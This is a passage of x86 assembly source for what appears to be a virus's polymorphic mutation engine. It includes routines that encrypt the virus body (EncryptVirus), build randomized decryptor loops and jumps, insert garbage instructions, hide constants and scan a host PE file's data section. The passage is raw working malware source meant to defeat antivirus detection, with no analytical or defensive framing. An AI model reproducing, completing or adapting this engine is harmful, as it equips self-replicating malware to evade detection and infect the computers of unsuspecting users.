jz @GEN_JNS_OFS
dec eax
jz @GEN_JG_OFS
dec eax
jz @GEN_JGE_OFS
Call GEN_JNZ_OFS
jmp ExitJmp
@GEN_JNS_OFS:
CALL GEN_JNS_OFS
jmp ExitJmp
@GEN_JG_OFS:
CALL GEN_JG_OFS
jmp ExitJmp
@GEN_JGE_OFS:
CALL GEN_JGE_OFS
ExitJmp:
jmp ExitFinal
@Method2:
;---
xor eax,eax
.IF dword ptr [ebp + MulFactor] == 1
push 4
.ELSE
push 3
.ENDIF
pop ecx
Call Get_rand_range
or eax,eax
jz @GEN_JS_OFS
dec eax
jz @GEN_JL_OFS
dec eax
jz @GEN_JLE_OFS
Call GEN_JZ_OFS
jmp ExitJmp2
@GEN_JS_OFS:
CALL GEN_JS_OFS
jmp ExitJmp2
@GEN_JL_OFS:
CALL GEN_JL_OFS
jmp ExitJmp2
@GEN_JLE_OFS:
CALL GEN_JLE_OFS
ExitJmp2:
mov eax, edi
.IF byte ptr [ebp + JmpShort?] == 1
dec eax
.ELSE
sub eax, 4
.ENDIF
mov dword ptr [ebp + WhereToJmp], eax
.IF byte ptr [ebp + JmpShort?] == 0
mov ebx, edi
mov edx, edi
Encore:
mov ebx, edx
Call Make_Random_Blk ; jmp long
sub ebx, edi
neg ebx
Call IS_NBR_8B
jnc Encore ; not enough disp
push ebx
mov edx, edi
mov ebx,dword ptr [_LoopOFS]
sub ebx,edi ; adresse où sauter
CALL GEN_JMP_OFS
sub edx, edi
neg edx
pop ebx
add ebx, edx
push ebx
mov edx, edi
Call Make_Random_Blk
sub edx, edi
neg edx
pop ebx
add ebx, edx
Call Random32
and eax, 7
jnz @Notrash
xor eax,eax
inc eax
push 100
pop ecx
Call Get_rand_range
add ebx, eax
Call GenTrashBlk
@Notrash:
mov eax, dword ptr [ebp + WhereToJmp]
mov dword ptr [eax], ebx
.ELSE
mov ebx, edi
Call LittleBlk ; little block for short disp...
sub ebx, edi
neg ebx
push ebx
mov edx, edi
mov ebx,dword ptr [_LoopOFS]
sub ebx,edi
CALL GEN_JMP_OFS
sub edx, edi
neg edx
pop ebx
add ebx, edx
push ebx
mov edx, edi
Call LittleBlk ;
sub edx, edi
neg edx
pop ebx
add ebx, edx
Call Random32
and eax, 7
jnz @Notrash2
xor eax,eax
inc eax
push 20
pop ecx
Call Get_rand_range
add ebx, eax
Call GenTrashBlk
@Notrash2:
mov eax, dword ptr [ebp + WhereToJmp]
mov byte ptr [eax], bl
.ENDIF
ExitFinal:
add esp, 10
ret
MakePolyJMP endp
GenTrashBlk proc uses ecx
xchg eax, ecx
@@:
Call Random32
stosb
dec ecx
jnz @B
ret
GenTrashBlk endp
EncryptVirus proc
push edi
and dword ptr [ebp + PolyErrFlag],0
mov edi,eax
mov esi, dword ptr [ebp + What2encrypt]
mov ecx, dword ptr [ebp + SizeOfWhat2encrypt]
shr ecx, 2
inc ecx
rep movsd
mov ebx, dword ptr [ebp + PolyBuf]
sub ebx, OFFSET VirusStart
add ebx,dword ptr [ebp + PolySize] ; get MEM delta
mov eax,dword ptr [ebp + BaseOFS]
add dword ptr [eax],ebx ; Adjust Delta
mov ecx,0C3C3C3C3h ; ret
mov esi,dword ptr [ebp + CryptorPatch]
xchg ecx,dword ptr [esi] ; DWORD TO PATCH
Call Save_regs ;
lea eax,[poly_handler+ebp] ; Setup SEH frame for poly error handling
push eax
mov dword ptr [ebp + @@@@Delta],ebp ; Save Delta
mov dword ptr [ebp + @@StackPtr],esp ; Save Stack
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
mov eax,dword ptr [ebp + PolyBuf]
add eax,dword ptr [ebp + PolySize]
mov eax,dword ptr [eax+4]
mov dword ptr [ebp + VirCODE],eax ; Portion of virus code (PolyErrFlag)
;int 3; *-*-*
Call dword ptr [ebp + PolyBuf]
poly_handler:
cld ; <- clear direction flag (possible "std" executed in poly code)
DB 0BCh
@@StackPtr dd 00000000h ; Restore Stack
xor edx,edx
pop dword ptr fs:[edx]
db 0BDh
@@@@Delta dd 00000000h ; Restore Delta
push eax
mov eax,dword ptr [ebp + PolyBuf]
add eax,dword ptr [ebp + PolySize]
mov edx,dword ptr [ebp + VirCODE]
mov eax,dword ptr [eax+4] ; Encryption check in case of error
cmp edx,eax
jnz @F
inc dword ptr [ebp + PolyErrFlag] ; IF edx == eax then virus is not properly encrypted
@@:
pop eax
Call Restore_regs
xchg ecx,dword ptr [esi];;
sub dword ptr [eax],ebx
mov ebx,dword ptr [ebp + @Delta]
add dword ptr [eax],ebx ; ReAjust Offset
pop edi
ret
EncryptVirus endp
ConstHider dd 0
dd 0
dd 0
dd 0
HideCtr dd 0
HideMaxCtr dd 0
; In ebx = const to hide
HideConst proc uses ecx edx
push edi
lea edi, [ebp + RestoreTBL]
xor eax, eax
mov ecx, 4
rep stosd
pop edi
and dword ptr [ ebp + HideCtr], 0
xor eax,eax
inc eax
push 4
pop ecx
Call Get_rand_range
mov dword ptr [ ebp + HideMaxCtr], eax
HideLp:
mov edx, dword ptr [ ebp + HideCtr]
Call Random32
mov dword ptr [ebp + edx*4 + ConstHider], eax
push ecx
xor eax,eax
push 2
pop ecx
Call Get_rand_range
pop ecx
or eax,eax
jz HIDE_SUB
dec eax
jz HIDE_ADD
HIDE_SUB:
sub ebx,dword ptr [ebp + edx*4 + ConstHider]
mov eax, OFFSET GEN_ADD_REG32_IMM
jmp @F
HIDE_ADD:
add ebx,dword ptr [ebp + edx*4 + ConstHider]
mov eax, OFFSET GEN_SUB_REG32_IMM
@@:
mov dword ptr [ebp + edx * 4 + RestoreTBL], eax
inc dword ptr [ ebp + HideCtr]
mov eax, dword ptr [ ebp + HideMaxCtr]
cmp eax, dword ptr [ ebp + HideCtr]
jnz HideLp
ret
HideConst endp
RestoreTBL dd 0
dd 0
dd 0
dd 0
dd 0
; in: cl = reg with hidden const to restore
RestConst proc uses edx esi
push ebx
push ecx
xor eax, eax
RestLp:
lea edx,dword ptr [ebp + RestoreTBL]
mov esi,dword ptr [edx + (eax * 4)]
or esi, esi ; Are we finished
jz OutLp
add esi,ebp
mov ebx,dword ptr [ebp + eax*4+ ConstHider]
push eax
push esi
Call Make_Random_Blk
pop esi
Call esi
pop eax
inc eax
jmp RestLp
OutLp:
pop ecx
pop ebx
ret
RestConst endp
;ReturnAddr dd 0
VirCODE dd 0
PolyErrFlag dd 0
MediumBlk proc uses ebx
;-----------------------------------------
push edx
push ecx
xor eax, eax
push 10
pop ecx
Call Get_rand_range
or eax,eax
jz @F
mov ecx,eax
Call GarbageBlock
@@:
pop ecx
pop edx
;-----------------------------------------
ret
MediumBlk endp
LittleBlk proc uses ebx
;-----------------------------------------
push edx
push ecx
xor eax,eax
push 5
pop ecx
Call Get_rand_range
or eax,eax
jz @F
mov ecx,eax
Call GarbageBlock
@@:
pop ecx
pop edx
;-----------------------------------------
ret
LittleBlk endp
GarbageBlock proc
@@:
push ecx
Call Garbage
pop ecx
dec ecx
jnz @B
ret
GarbageBlock endp
Garbage:
push ebx
push dword ptr [ebp + _MOD]
push dword ptr [ebp + _SCALE]
push dword ptr [ebp + Displacement]
Call Random32
mov ebx,eax
Call ArrangeTo8Bits?
xor eax,eax
.IF byte ptr [ebp + _garb1_reserved] == 0 ; ?
push TOTALNBR
.ELSE
push TOTALNBR - 2 ; Pas de xchg, xadd ect...
.ENDIF
pop ecx
Call Get_rand_range
lea ecx,dword ptr [ebp + InstrTBL]
mov edx,dword ptr [ecx + (eax * 4)]
add edx,ebp
.IF eax >= TOTALNBR - 2 ; init regs ...
Call Get2ValidAuxRegs ; source reg IS modified (for XCHG, XADD)
.ELSEIF eax >= MEMSTARTNBR ; for MEM operations
Call Get2ValidAuxRegs ; for XCHG, XADD, LEA
push ecx
xor eax, eax
push 3
pop ecx
Call Get_rand_range
mov byte ptr [ebp + _MOD], al
Call Get2ValidAuxRegs
mov byte ptr [ebp + _REG_OPCODE], cl
Call Random32
and al, 7
mov byte ptr [ebp + _RM],al
xor eax, eax
push 4
pop ecx
Call Get_rand_range
mov byte ptr [ebp + _SCALE], al
Call Random32
and al, 7
mov byte ptr [ebp + _INDEX], al
;Call Get2RandRegs
Call Random32
and al, 7
mov byte ptr [ebp + _BASE], al
.IF dword ptr [ebp + _MOD] == 0 && dword ptr [ebp + _RM] == 5
Call Random32
jp @F
.ENDIF
Call GetRandomDataOFS
@@:
pop ecx
mov dword ptr [ebp + Displacement], ebx
.ELSE
Call Get2RandRegs
.ENDIF
Call Rand_Prefix
Call Rand_OneByte
Call edx ; Generate it !
pop dword ptr [ebp + Displacement]
pop dword ptr [ebp + _SCALE]
pop dword ptr [ebp + _MOD]
pop ebx
ret
EnableAllRegsUse db 0
;/MEM
MemAccess_blk proc uses ebx edx
cmp byte ptr [ebp + EnableAllRegsUse], 1 ;!-!
jb @F
xor eax, eax ; Exit Error
ret
@@:
inc byte ptr [ebp + EnableAllRegsUse]
;int 3
push dword ptr [ebp + base_reg]
push dword ptr [ebp + base_reg+4]
mov al, 60h ; save regs
stosb
Call GetRegs
Call Get2RandRegs
mov byte ptr [ebp + _INDEX], ch
mov byte ptr [ebp + garb_reg1], ch
Call Get2RandRegs
mov byte ptr [ebp + _BASE], ch
mov byte ptr [ebp + garb_reg2], ch
Call Get2RandRegs
mov byte ptr [ebp + _REG_OPCODE], ch
mov byte ptr [ebp + garb_reg3], ch
Call Make_Random_Blk_no_0_disp
mov al, 61h ; restore regs
stosb
pop dword ptr [ebp + base_reg+4]
pop dword ptr [ebp + base_reg]
xor eax, eax
inc eax ; ExitOk
and byte ptr [ebp + EnableAllRegsUse], 0
ret
MemAccess_blk endp
Get2ValidAuxRegs proc
xor eax,eax
.IF byte ptr [ebp + _garb1_reserved] != 0 ; Reserved for memory access ?
inc eax
.ENDIF
.IF byte ptr [ebp + _garb2_reserved] != 0 ; Reserved for memory access ?
inc eax
.IF EAX == 2 ; 2 garbage regs used ?
movzx ecx, byte ptr [ebp + garb_reg3]
jmp @F
.ENDIF
.ENDIF
push 3
pop ecx
Call Get_rand_range
movzx ecx,byte ptr [eax + ebp + garb_reg1]
@@:
xor eax,eax
.IF byte ptr [ebp + _garb1_reserved] != 0
inc eax
.ENDIF
push ecx
push 3
pop ecx
Call Get_rand_range
pop ecx
mov ch,byte ptr [eax + ebp + garb_reg1]
ret
Get2ValidAuxRegs endp
Get2RandRegs proc
xor eax,eax
.IF byte ptr [ebp + _garb1_reserved] != 0 ; Reserved for memory access ?
inc eax
.ENDIF
.IF byte ptr [ebp + _garb2_reserved] != 0 ; Reserved for memory access ?
inc eax
.IF EAX == 2 ; 2 garbage regs used ?
movzx ecx, byte ptr [ebp + garb_reg3]
jmp @F
.ENDIF
.ENDIF
push 3
pop ecx
Call Get_rand_range
movzx ecx,byte ptr [eax + ebp + garb_reg1]
@@:
push ecx
xor eax,eax
push 7
pop ecx
Call Get_rand_range
pop ecx
mov ch,byte ptr [eax + ebp + base_reg]
ret
;Add_Flag db 0
Get2RandRegs endp
GetValid8BREGS proc
push edx
Call @GetValid8BREGS
jc @F
pop edx
clc
ret
@@:
pop edx
stc
ret
GetValid8BREGS endp
@GetValid8BREGS proc
;And byte ptr [ebp + Add_Flag],0
mov edx,5
Relp:
push edx
Call Get2ValidAuxRegs
pop edx
mov al,cl
cmp al,3
jna @F
sub al,4
@@:
Call IS_GARB_REG
jnc @F
clc
ret
@@:
dec edx
jnz Relp
stc
ret
@GetValid8BREGS endp
IS_GARB_REG proc
CMP byte ptr [ebp + garb_reg1], al
jz @F
CMP byte ptr [ebp + garb_reg2], al
jz @F
CMP byte ptr [ebp + garb_reg3], al
jz @F
@No8BGarb:
clc
ret
@@:
CMP word ptr [ebp + _garb1_reserved],0 ; Are regs reserved ?
JZ @F ; ok proceed
cmp byte ptr [ebp + garb_reg3], al
jnz @No8BGarb ; Skip if not garb3
@@:
@RegOk:
.IF al < 4
mov dl,al
CAll Random32
jp @F
add dl,4
@@:
.ENDIF
mov cl,dl
Call Random32
and eax,7
mov ch,al
stc
ret
IS_GARB_REG endp
WaitLoop_Blk proc uses ebx edx ecx
cmp byte ptr [ebp + _garb1_reserved],0
jz @F
ret
@@:
inc byte ptr [ebp + _garb1_reserved]
Call Random32
mov ebx, eax
and ebx, 7
mov eax, 300000 ;large range
mov ecx, 1000000
Call Get_rand_range
.IF ebx != 0
Call LoopLikeDecryptor
.ELSE
Call MakeLoop
.ENDIF
And byte ptr [ebp + _garb1_reserved],0
ret
WaitLoop_Blk endp
CmpVal equ esi
ModifVal equ esi+4
AddFlag equ esi+8
MakeLoop proc uses esi
sub esp, 20
mov esi, esp
mov ecx, eax
Call Random32
mov ebx, eax
Call ArrangeTo8Bits?
mov dword ptr [CmpVal], ebx
push ebx
Call Random32
mov ebx, eax
Call ArrangeTo8Bits?
mov edx, ebx
.IF edx == 0
add edx, 4
.ENDIF
pop ebx
Call Random32
.IF Parity?
mov dword ptr [AddFlag], 1
@@:
add ebx, edx
dec ecx
jnz @B
.ELSE
and dword ptr [AddFlag], 0
@@:
sub ebx, edx
dec ecx
jnz @B
.ENDIF
mov cl, byte ptr [ebp + garb_reg1]
Call MovVal;*/*
Call LittleBlk
Call Make_Random_Blk;**
push edi
;Call LittleBlk
Call Make_Random_Blk_no_0_disp;**
mov ebx, edx
.IF dword ptr [AddFlag] == 1
Call GEN_SUB_REG32_IMM
.ELSE
Call GEN_ADD_REG32_IMM
.ENDIF
;Call LittleBlk
Call Make_Random_Blk_no_0_disp;**
mov ebx, dword ptr [CmpVal]
mov cl, byte ptr [ebp + garb_reg1]
Call GEN_CMP_REG32_IMM
pop ebx
sub ebx, edi
Call GEN_JNZ_OFS
add esp, 20
ret
MakeLoop endp
WtLp_Called db 0
MulFactor dd 0
;WtlpLittleLoopMode db 0
LoopRange equ esi
LoopLikeDecryptor proc uses ebx edx ecx esi
sub esp, 10
mov esi, esp
mov dword ptr [LoopRange], eax
push dword ptr [ebp + MulFactor]
push dword ptr [ebp + LoopOFS]
push dword ptr [ebp + CMP_Range]
mov dword ptr [ebp + MulFactor], 1 ; Init factor 1
Call Random32
jp @SimpleDec
Call Random32
jp @LargeFactor
push 2
pop eax
push 30
pop ecx
Call Get_rand_range
jmp @SaveFactor
@LargeFactor:
push 30
pop eax
push 1000
pop ecx
Call Get_rand_range
@SaveFactor:
mov dword ptr [ebp + MulFactor], eax
@SimpleDec:
;mov eax, 300000 ;large range
;mov ecx, 1000000
;Call Get_rand_range
mov eax, dword ptr [LoopRange]
mov ecx, dword ptr [ebp + MulFactor]
imul eax, ecx
mov ebx,eax
mov cl, byte ptr [ebp + garb_reg1]
Call MovVal;*/*
mov dword ptr [ebp + LoopOFS], edi
Call Make_Random_Blk;**
Call ModifyKey ; ok
Call Make_Random_Blk;**
mov ebx, dword ptr [ebp + MulFactor]
mov cl,byte ptr [ebp + garb_reg1]
.IF dword ptr [ebp + MulFactor] == 1
;mov byte ptr [ebp + UseDec], 1
CAll GEN_DEC_REG32
.ELSE
;mov byte ptr [ebp + UseDec], 0
Call Random32
jp @DoWithADD
CAll GEN_SUB_REG32_IMM
jmp @SkipADD
@DoWithADD:
neg ebx
CAll GEN_ADD_REG32_IMM
.ENDIF
@SkipADD:
push ecx
xor eax, eax
mov ecx, 1000
Call Get_rand_range
pop ecx
mov dword ptr [ebp + CMP_Range], eax
mov eax, dword ptr [ebp + LoopOFS]
CALL MakePolyJMP
pop dword ptr [ebp + CMP_Range]
pop dword ptr [ebp + LoopOFS]
pop dword ptr [ebp + MulFactor]
add esp, 10
ret
LoopLikeDecryptor endp
nextmod db 0
ModifyKey proc uses ecx ebx edx
mov byte ptr [ebp + nextmod],3
@@:
Call Random32
mov ebx, eax
Call LittleBlk
xor eax,eax
push CRYPTNBR ;TOTALNBR - 5
pop ecx
Call Get_rand_range
lea ecx,dword ptr [ebp + InstrTBL]
mov edx,dword ptr [ecx + (eax * 4)]
add edx,ebp
mov ch, byte ptr [ebp + garb_reg1] ; WaitLoop counter is garb_reg1
mov cl, byte ptr [ebp + key_reg]
Call edx
Call LittleBlk
dec byte ptr [ebp + nextmod]
jnz @B
ret
ModifyKey endp
;ModifyReg proc uses edx ebx ; Modifie n'importe quel registre puis le restaure (meme un registre réservé)
; Call Get2RandRegs
; mov ch, cl
; ret
;ModifyReg endp
; Make memory access
_garb1_reserved db 0
_garb2_reserved db 0
;Mem_Reg db 0
MovVal proc uses ecx ebx edx esi ; in : cl = reg to move value
push ecx
Call Make_Random_Blk;**
xor eax, eax
push 3
pop ecx
Call Get_rand_range
pop ecx
or eax, eax
jz @IWantMov
dec eax
jz @IWantPushPop
push dword ptr [ebp + _MOD]
push dword ptr [ebp + _SCALE]
push dword ptr [ebp + Displacement]
mov byte ptr [ebp + _REG_OPCODE], cl;-***-
mov byte ptr [ebp + _MOD], 0
mov byte ptr [ebp + _RM], 5
mov dword ptr [ebp + Displacement], ebx
CALL GEN_LEA_REG32_DISP32
pop dword ptr [ebp + Displacement]
pop dword ptr [ebp + _SCALE]
pop dword ptr [ebp + _MOD]
Call Make_Random_Blk;**
jmp @F
@IWantMov:
Call GEN_MOV_REG32_IMM
Call Make_Random_Blk;**
jmp @F
@IWantPushPop:
Call GEN_PUSH_IMM32
Call Make_Random_Blk;**
Call GEN_POP_REG32
Call Make_Random_Blk;**
@@:
ret
MovVal endp
NextSec dd 1
DataSectionOFS dd 0
DataSectionSize dd 0
InitMemAccess proc ; Retrieves the size and the offset of data section
@ScanForDataSection:
mov ebx,dword ptr [ebp+PEheader]
assume ebx : ptr IMAGE_NT_HEADERS
movzx esi, word ptr [ebx].FileHeader.SizeOfOptionalHeader
lea esi, [[ebx].OptionalHeader + esi]
movzx ecx, word ptr [[ebx].FileHeader.NumberOfSections]
sub ecx, dword ptr [ebp + NextSec] ; Data section ?
jecxz @NotFound
push ecx
imul ecx,ecx,sizeof IMAGE_SECTION_HEADER
add esi,ecx ; go in data section
pop ecx
assume esi:ptr IMAGE_SECTION_HEADER
inc dword ptr [ebp + NextSec]
test [esi].Characteristics, IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
jz @ScanForDataSection
mov dword ptr [ebp + NextSec],1
mov ebx, [ebx].OptionalHeader.ImageBase
add ebx, [esi].VirtualAddress
mov dword ptr [ebp + DataSectionOFS], ebx ; save VirtualOffset
mov eax, [esi].Misc.VirtualSize
mov dword ptr [ebp + DataSectionSize], eax
;Call GetRandomDataOFS
@NotFound:
ret
InitMemAccess endp
;ActualMemRange dd 0
GetRandomDataOFS proc uses ecx
mov ebx, dword ptr [ebp + DataSectionOFS]
mov eax, ebx
mov ecx, dword ptr [ebp + DataSectionSize]
add ecx, ebx
sub ecx, 4
Call Get_rand_range
;Mov dword ptr [ebp + ActualMemRange], eax
mov ebx, eax
ret
GetRandomDataOFS endp
; Mode
X dd ?
EncodeMemLocation proc uses edx ecx ; in : ebx = Real memory address to encode
; in : cl _REG_OPCODE or OPCODE INFO
; out : Mod/Rm_Sib = right encodings
.IF word ptr [ebp + _garb1_reserved] != 0
;.IF byte ptr [ebp + _garb2_reserved] != 0
ret ; Return if our regs are reserved
;.ENDIF
.ENDIF
mov dword ptr [ebp + Displacement], ebx
mov byte ptr [ebp + _REG_OPCODE], cl ; must be garb_reg3!
xor eax, eax
push 3
pop ecx
Call Get_rand_range
mov byte ptr [ebp + _MOD], al ; mode of encoding
xor eax, eax
push 4
pop ecx
Call Get_rand_range
mov byte ptr [ebp + _SCALE], al
mov cl, byte ptr [ebp + garb_reg1]
inc byte ptr [ebp + _garb1_reserved]
Call Random32
jp @F
mov cl, 4 ; 1/2
@@:
mov byte ptr [ebp + _RM],cl
.IF byte ptr [ebp + _MOD] == 0
.IF cl == 5
; Do nothing
.ELSEIF cl == 4 ; MODRM+SIB disp32
Call Random32
mov ebx, eax
mov cl, byte ptr [ebp + garb_reg2]
mov byte ptr [ebp + _BASE], cl
inc byte ptr [ebp + _garb2_reserved]
.IF cl == 5 ; INDEX * SCALE + Disp32 (No BASE)
mov cl, byte ptr [ebp + _SCALE]
shl ebx, cl
sub dword ptr [ebp + Displacement], ebx
sar ebx, cl
mov cl, byte ptr [ebp + garb_reg1]
mov byte ptr [ebp + _INDEX],cl
Call MovVal
;;;;Call GEN_MOV_REG32_IMM
.ELSE ; BASE + INDEX * SCALE (No disp)
; Algo : 404001 = a - b
;
; a = 404001+X
; b = X
; a = 404001+12345678 ; this number will be divisible by scale
; b = 12345678
Call Random32
push ecx
mov cl, byte ptr [ebp + _SCALE]
shl eax, cl
pop ecx
mov dword ptr [ebp + X], eax
mov eax, dword ptr [ebp + Displacement]
add eax, dword ptr [ebp + X]
mov ebx, eax
Call MovVal
;;;;Call GEN_MOV_REG32_IMM
mov eax, dword ptr [ebp + X]
mov cl, byte ptr [ebp + _SCALE]
sar eax, cl
mov cl, byte ptr [ebp + garb_reg1]
mov byte ptr [ebp + _INDEX],cl
neg eax
mov ebx, eax
;;;;Call GEN_MOV_REG32_IMM
Call MovVal
.ENDIF
.ELSE ; Single [REG32]
mov ebx, dword ptr [ebp + Displacement]
Call MovVal
;;;;Call GEN_MOV_REG32_IMM
.ENDIF
.ELSEIF byte ptr [ebp + _MOD] == 1
push ecx
push -80h
pop eax
push 80h
pop ecx
Call Get_rand_range
mov ebx,eax
pop ecx
.IF cl == 4 ; BASE + INDEX * SCALE + Disp
ShitEncode:
mov cl, byte ptr [ebp + garb_reg2]
mov byte ptr [ebp + _BASE], cl
inc byte ptr [ebp + _garb2_reserved]
mov edx, ebx
Call Random32
push ecx
mov cl, byte ptr [ebp + _SCALE]
shl eax, cl
pop ecx
mov dword ptr [ebp + X], eax
mov eax, dword ptr [ebp + Displacement]
add eax, dword ptr [ebp + X]
sub eax, edx
mov ebx, eax
mov dword ptr [ebp + Displacement], edx
Call MovVal
;;;;Call GEN_MOV_REG32_IMM
mov eax, dword ptr [ebp + X]
mov cl, byte ptr [ebp + _SCALE]
sar eax, cl
mov cl, byte ptr [ebp + garb_reg1]
mov byte ptr [ebp + _INDEX],cl
neg eax
mov ebx, eax
Call MovVal
;;;;Call GEN_MOV_REG32_IMM
jmp ExitHideMem
.ELSE ; RM + Disp8
ShitEncode2:
mov eax, dword ptr [ebp + Displacement]
sub eax, ebx
mov dword ptr [ebp + Displacement], ebx
xchg eax, ebx
Call MovVal
;;;;Call GEN_MOV_REG32_IMM
jmp ExitHideMem
.ENDIF
.ELSEIF byte ptr [ebp + _MOD] == 2
Call GetRandomDataOFS
.IF cl == 4 ; SIB follow
jmp ShitEncode
.ELSE
jmp ShitEncode2
.ENDIF
.ENDIF
ExitHideMem:
and word ptr [ebp + _garb1_reserved], 0
ret
EncodeMemLocation endp
_MOD db 0
_REG_OPCODE db 0
_RM db 0 ; Register/Memory ([0-7])
_dummy db 0
MOD_SIMPLE_MEM equ 00b
MOD_DISP8 equ 01b
MOD_DISP32 equ 10b
MOD_SIMPLE_REG equ 11b
RM4_SIB_FOLLOW equ 100b
SCALE_x2 equ 1b
SCALE_x4 equ 10b
SCALE_x8 equ 11b
Displacement dd 0
_SCALE db 0
_INDEX db 0
_BASE db 0
_dummy2 db 0
SIB_USED equ 1
MODRM_USED equ 1
;-----------------
;ModRM db 0
;SIB db 0 ; Scale Index Base
;-----------------
EncodeModRM_SIB proc uses edx ecx
; movzx eax, word ptr [ebp + ModRM]
; or eax, eax
; jnz @F ; Besoin de ModRM et de SIB ?
; ret
;@@:
xor eax, eax
mov ah, byte ptr [ebp + _RM]
shr eax, 3
mov dl, byte ptr [ebp + _REG_OPCODE]
or ah, dl
shr eax, 3
mov dl, byte ptr [ebp + _MOD]
or ah, dl
shr eax, 2
.IF byte ptr [ebp + _RM] == 4 ; Encode SIB
xor ecx, ecx
mov ch, byte ptr [ebp + _BASE]
shr ecx, 3
mov dl, byte ptr [ebp + _INDEX]
or ch, dl
shr ecx, 3
mov dl, byte ptr [ebp + _SCALE]
or ch, dl
shr ecx, 2
mov ah, cl
stosw
jmp @F
.ELSE
stosb
.ENDIF
@@:
mov dl, byte ptr [ebp + _MOD]
.IF byte ptr [ebp + _BASE] == 5 && byte ptr [ebp + _RM] == 4
.IF dl == 0 ; NO BASE
mov eax, dword ptr [ebp + Displacement]
stosd
.ELSEIF dl == 1 ; EBP
mov al, byte ptr [ebp + Displacement]
stosb
.ELSEIF dl == 2 ; EBP
mov eax, dword ptr [ebp + Displacement]
stosd
.ENDIF
.ELSE
.IF dl == 0
cmp byte ptr [ebp + _RM], 5
jnz @F
mov eax, dword ptr [ebp + Displacement]
stosd
.ELSEIF dl == 1
mov al, byte ptr [ebp + Displacement]
stosb
.ELSEIF dl == 2
mov eax, dword ptr [ebp + Displacement]
stosd
.ENDIF
.ENDIF
@@:
;and word ptr [ebp + ModRM],0 ; Reset ModRM & SIB
and dword ptr [ebp + _MOD],0
and dword ptr [ebp + _SCALE],0
and dword ptr [ebp + Displacement],0
ret
EncodeModRM_SIB endp
; Make {Push shit [...] push REG32 / POP REG32 / retn XXXX [...] POP SHITREG32} struct
push_pop_recursion_level db 0
;What2Do dd 0
Push_Pop_blk proc
inc byte ptr [ebp+push_pop_recursion_level]
cmp byte ptr [ebp+push_pop_recursion_level],02
jae ExitPushPop
push ecx
push edx
xor eax,eax
inc eax
push 7
pop ecx
Call Get_rand_range
mov edx,eax
push edx
CALL MakePUSHES
Call LittleBlk
pop edx
CALL MakePOPS
pop edx
pop ecx
and byte ptr [ebp+push_pop_recursion_level], 0
ExitPushPop:
ret
Push_Pop_blk endp
MakePUSHES:
push edx
Call Random32
jp @F
Call Random32
mov ebx,eax
Call ArrangeTo8Bits?
Call LittleBlk
CALL GEN_PUSH_IMM32
Jmp ContPushes
@@:
Call LittleBlk
Call Random32
and eax,7
mov ecx,eax
CALL GEN_PUSH_REG32
ContPushes:
pop edx
dec edx
jnz MakePUSHES
ret
MakePOPS:
Call Random32
and eax,07Fh
jnz @SkipStackAdjust
push ebx
mov ebx,edx
shl ebx,2
Call Random32
mov cl,4
jp @F
CALL GEN_ADD_REG32_IMM
pop ebx
ret
@@:
neg ebx
CALL GEN_SUB_REG32_IMM
pop ebx
ret
@SkipStackAdjust:
push edx
Call LittleBlk
CALL Get2ValidAuxRegs
CALL GEN_POP_REG32
pop edx
dec edx
jnz MakePOPS
ret
;--------------------------------------- CRYPT ONLY --------------------
InstrTBL dd OFFSET GEN_ADD_REG32_IMM;---
dd OFFSET GEN_XOR_REG32_IMM
dd OFFSET GEN_SUB_REG32_IMM
dd OFFSET GEN_ADD_REG32_IMM
dd OFFSET GEN_XOR_REG32_IMM
dd OFFSET GEN_SUB_REG32_IMM;---
dd OFFSET GEN_16BITS_OPC
dd OFFSET GEN_ADD_REG32_REG32 ; 1
dd OFFSET GEN_XOR_REG32_REG32
dd OFFSET GEN_SUB_REG32_REG32
dd OFFSET GEN_ADD_REG32_REG32 ; 1
dd OFFSET GEN_XOR_REG32_REG32
dd OFFSET GEN_SUB_REG32_REG32
dd OFFSET GEN_IMUL_REG32_REG32_IMM
dd OFFSET GEN_IMUL_REG32_REG32
;
dd OFFSET GEN_ROR_REG32_IMM8 ; 9
dd OFFSET GEN_ROL_REG32_IMM8
dd OFFSET GEN_BSWAP_REG32
dd OFFSET GEN_NEG_REG32
dd OFFSET GEN_NOT_REG32
dd OFFSET GEN_DEC_REG32;-
dd OFFSET GEN_INC_REG32
dd OFFSET GEN_DEC_REG32
dd OFFSET GEN_INC_REG32;-
CRYPTNBR = (OFFSET $ - OFFSET InstrTBL) / 4
;--------------------------------------- GARBAGE ONLY --------------------
dd OFFSET GEN_ADC_REG32_REG32
dd OFFSET GEN_SBB_REG32_REG32
dd OFFSET GEN_AND_REG32_REG32
dd OFFSET GEN_AND_REG32_IMM32
dd OFFSET GEN_ADC_REG32_IMM32
dd OFFSET GEN_SBB_REG32_IMM32
dd OFFSET GEN_MOV_REG32_REG32
dd OFFSET GEN_MOV_REG32_IMM
dd OFFSET GEN_MOV_REG32_REG32
dd OFFSET GEN_MOV_REG32_IMM
dd OFFSET GEN_MOV_REG32_REG32
dd OFFSET GEN_MOV_REG32_IMM
dd OFFSET GEN_MOV_REG32_REG32
dd OFFSET GEN_MOV_REG32_IMM
dd OFFSET GEN_MOVZX_REG32_REG8
dd OFFSET GEN_MOVSX_REG32_REG8
;dd OFFSET GEN_DIV_REG32 ; Pb Exception division par 0
;dd OFFSET GEN_IDIV_REG32 ;
dd OFFSET GEN_OR_REG32_REG32
dd OFFSET GEN_OR_REG32_IMM32
dd OFFSET GEN_ADD_REG8_REG8
dd OFFSET GEN_XOR_REG8_REG8
dd OFFSET GEN_SUB_REG8_REG8
dd OFFSET GEN_ADD_REG8_IMM
dd OFFSET GEN_XOR_REG8_IMM
dd OFFSET GEN_SUB_REG8_IMM
dd OFFSET GEN_ROT_STUFF
dd OFFSET GEN_ROT_STUFF
dd OFFSET GEN_ROT_STUFF
;dd OFFSET GEN_ONEBYTE
;dd OFFSET GEN_IMUL_REG32 ; enlevé : change la valeur de EDX
;dd OFFSET GEN_MUL_REG32
dd OFFSET GEN_INC_REG8
dd OFFSET GEN_DEC_REG8
MEMSTART equ $
dd OFFSET GEN_LEA_REG32_DISP32
dd OFFSET GEN_LEA_REG32_DISP32
dd OFFSET GEN_LEA_REG32_DISP32
dd OFFSET GEN_LEA_REG32_DISP32
dd OFFSET GEN_LEA_REG32_DISP32
dd OFFSET GEN_LEA_REG32_DISP32
dd OFFSET GEN_LEA_REG32_DISP32
dd OFFSET GEN_LEA_REG32_DISP32
dd OFFSET GEN_XADD_REG32_REG32
dd OFFSET GEN_XCHG_REG32_REG32 ; Ne pas déplacer / do not move this one
MEMEND equ $
